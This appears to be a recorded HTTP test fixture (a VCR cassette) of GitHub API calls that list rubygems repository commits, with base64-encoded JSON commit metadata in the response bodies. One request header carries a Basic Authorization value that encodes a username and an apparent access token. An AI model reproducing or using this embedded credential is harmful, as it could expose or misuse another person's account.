pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI5YTE4YjgyZjgzOWRhMTQ1ZmVhMjU1Nzk5YzdmNWNhZWM1ZDNmYmY1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzlhMThiODJmODM5ZGExNDVmZWEyNTU3OTljN2Y1Y2FlYzVkM2ZiZjUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWExOGI4MmY4MzlkYTE0NWZlYTI1NTc5OWM3ZjVjYWVjNWQzZmJmNSJ9LHsic2hhIjoiYjE5ZmI1NzcxNmZjOGQ0ZTE5ZjEwYmE5ZTUxNGJhNTVkNzEzYTA0YyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iMTlmYjU3NzE2ZmM4ZDRlMTlmMTBiYTllNTE0YmE1NWQ3MTNhMDRjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2IxOWZiNTc3MTZmYzhkNGUxOWYxMGJhOWU1MTRiYTU1ZDcxM2EwNGMifV19LHsic2hhIjoiM2E3NDQ4OTNiNDIxNzdmYTQ0YWYzNGQ4OGY3Nzk2ZGFiYTVmZTA2NSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkNvbGJ5IFN3YW5kYWxlIiwiZW1haWwiOiJjb2xieUB0YXBsYWJvcmF0b3JpZXMuY29tIiwiZGF0ZSI6IjIwMTctMDktMjhUMDE6Mjc6MDNaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiQ29sYnkgU3dhbmRhbGUiLCJlbWFpbCI6ImNvbGJ5QHRhcGxhYm9yYXRvcmllcy5jb20iLCJkYXRlIjoiMjAxNy0xMi0yMFQwODo1Mjo1NFoifSwibWVzc2FnZSI6ImFkZCBpbmZvIGNvbW1hbmQgdG8gcHJpbnQgaW5mb3JtYXRpb24gYWJvdXQgYW4gaW5zdGFsbGVkIGdlbSIsInRyZWUiOnsic2hhIjoiOTkwMjVkYTk4YWUyZDBlZDgwZjQyNTJhZWRiOGYwYmNmMzZjNjEyYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzk5MDI1ZGE5OGFlMmQwZWQ4MGY0MjUyYWVkYjhmMGJjZjM2YzYxMmMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zYTc0NDg5M2I0MjE3N2ZhNDRhZjM0ZDg4Zjc3OTZkYWJhNWZlMDY1IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzNhNzQ0ODkzYjQyMTc3ZmE0NGFmMzRkODhmNzc5NmRhYmE1ZmUwNjUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvM2E3NDQ4OTNiNDIxNzdmYTQ0YWYzNGQ4OGY3Nzk2ZGFiYTVmZTA2NSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zYTc0NDg5M2I0MjE3N2ZhNDRhZjM0ZDg4Zjc3OTZkYWJhNWZlMDY1L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiY29sYnktc3dhbmRhbGUiLCJpZCI6OTk2Mzc3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS85OTYzNzc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY29sYnktc3dhbmRhbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJjb2xieS1zd2FuZGFsZSIsImlkIjo5OTYzNzcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzk5NjM3Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jb2xieS1zd2FuZGFsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImY4OWI1YjU3NDRjMjEzNmQ0MWZmYzZjYjAwZDJjMjk5YWMzMmEyODQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZjg5YjViNTc0NGMyMTM2ZDQxZmZjNmNiMDBkMmMyOTlhYzMyYTI4NCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mODliNWI1NzQ0YzIxMzZkNDFmZmM2Y2IwMGQyYzI5OWFjMzJhMjg0In1dfV0= http_version: recorded_at: Sat, 06 Jan 2018 14:59:32 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=3&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4629' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0daf8e4e3ccc3f677f2db7cbd41d9a35" Last-Modified: - Wed, 20 Dec 2017 00:36:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.098184' X-Github-Request-Id: - A140:4D94:4EFDC6:B2FD24:5A50E454 body: encoding: ASCII-8BIT string: !binary |- W3sic2hhIjoiYjE5ZmI1NzcxNmZjOGQ0ZTE5ZjEwYmE5ZTUxNGJhNTVkNzEzYTA0YyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IkNvbGJ5IFN3YW5kYWxlIiwiZW1haWwiOiJjb2xieUB0YXBsYWJvcmF0b3JpZXMuY29tIiwiZGF0ZSI6IjIwMTctMTItMjBUMDA6MTk6MDlaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiQ29sYnkgU3dhbmRhbGUiLCJlbWFpbCI6ImNvbGJ5QHRhcGxhYm9yYXRvcmllcy5jb20iLCJkYXRlIjoiMjAxNy0xMi0yMFQwMDozNjoyMVoifSwibWVzc2FnZSI6InVzZSBTdHJpbmcgaW5zdGVhZCBvZiBTdHJpbmdJTyBhbmQgY2xlYW51cCBhIGZldyB0aGluZ3MiLCJ0cmVlIjp7InNoYSI6IjkyNDEyMjEwMGIxZjFkMWViOWU1ZTIwMjYxYWIwNGM2Mjg1YjUxMzUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy85MjQxMjIxMDBiMWYxZDFlYjllNWUyMDI2MWFiMDRjNjI4NWI1MTM1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvYjE5ZmI1NzcxNmZjOGQ0ZTE5ZjEwYmE5ZTUxNGJhNTVkNzEzYTA0YyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iMTlmYjU3NzE2ZmM4ZDRlMTlmMTBiYTllNTE0YmE1NWQ3MTNhMDRjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2IxOWZiNTc3MTZmYzhkNGUxOWYxMGJhOWU1MTRiYTU1ZDcxM2EwNGMiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYjE5ZmI1NzcxNmZjOGQ0ZTE5ZjEwYmE5ZTUxNGJhNTVkNzEzYTA0Yy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImNvbGJ5LXN3YW5kYWxlIiwiaWQiOjk5NjM3NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTk2Mzc3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2NvbGJ5LXN3YW5kYWxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiY29sYnktc3dhbmRhbGUiLCJpZCI6OTk2Mzc3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS85OTYzNzc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY29sYnktc3dhbmRhbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJlNzk2ODQ3MmM1ZjQwOWVjN2NjYTBkNmNlYmE5ZWY5NTE4MzZhZTAxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U3OTY4NDcyYzVmNDA5ZWM3Y2NhMGQ2Y2ViYTllZjk1MTgzNmFlMDEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTc5Njg0NzJjNWY0MDllYzdjY2EwZDZjZWJhOWVmOTUxODM2YWUwMSJ9XX0seyJzaGEiOiJmMWViM2I4MzYxMGMyZDIxZTRkYmRiMzQ3Y2EzN2FmNmQyNjE0Mjg5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiTVNQLUdyZWciLCJlbWFpbCI6Im1zcC1ncmVnQHVzZXJzLm5vcmVwbHkuZ2l0aHViLmNvbSIsImRhdGUiOiIyMDE3LTEyLTIwVDAwOjEzOjI4WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6Ik1TUC1HcmVnIiwiZW1haWwiOiJtc3AtZ3JlZ0B1c2Vycy5ub3JlcGx5LmdpdGh1Yi5jb20iLCJkYXRlIjoiMjAxNy0xMi0yMFQwMDoxMzoyOFoifSwibWVzc2FnZSI6IlVwZGF0ZSBmb3IgY29tcGF0aWJpbHR5IHdpdGggbmV3IG1pbml0ZXN0IiwidHJlZSI6eyJzaGEiOiI4ZjBhY2Y0MzA4YzY2MTk0YWFmZGEyMjk3NGVlOTY4NTU3MTEyMTJlIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOGYwYWNmNDMwOGM2NjE5NGFhZmRhMjI5NzRlZTk2ODU1NzExMjEyZSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2YxZWIzYjgzNjEwYzJkMjFlNGRiZGIzNDdjYTM3YWY2ZDI2MTQyODkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZjFlYjNiODM2MTBjMmQyMWU0ZGJkYjM0N2NhMzdhZjZkMjYxNDI4OSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9mMWViM2I4MzYxMGMyZDIxZTRkYmRiMzQ3Y2EzN2FmNmQyNjE0Mjg5IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2YxZWIzYjgzNjEwYzJkMjFlNGRiZGIzNDdjYTM3YWY2ZDI2MTQyODkvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJNU1AtR3JlZyIsImlkIjoxNTA4MTE3NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUwODExNzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vTVNQLUdyZWciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJNU1AtR3JlZyIsImlkIjoxNTA4MTE3NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUwODExNzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vTVNQLUdyZWciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI5YTE4YjgyZjgzOWRhMTQ1ZmVhMjU1Nzk5YzdmNWNhZWM1ZDNmYmY1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzlhMThiODJmODM5ZGExNDVmZWEyNTU3OTljN2Y1Y2FlYzVkM2ZiZjUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvOWExOGI4MmY4MzlkYTE0NWZlYTI1NTc5OWM3ZjVjYWVjNWQzZmJmNSJ9XX0seyJzaGEiOiI5YTE4YjgyZjgzOWRhMTQ1ZmVhMjU1Nzk5YzdmNWNhZWM1ZDNmYmY1IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTE5VDIwOjM3OjMxWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0xOVQyMDozNzozMVoifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIxMTYgLSB2b3hpazpvcGVyYXRpbmdfc3lzdGVtX2RlZmF1bHRzLCByPWNvbGJ5LXN3YW5kYWxlXG5cbkFkZCBHZW0ub3BlcmF0aW5nX3N5c3RlbV9kZWZhdWx0cyB0byBhbGxvdyBwYWNrYWdlcnM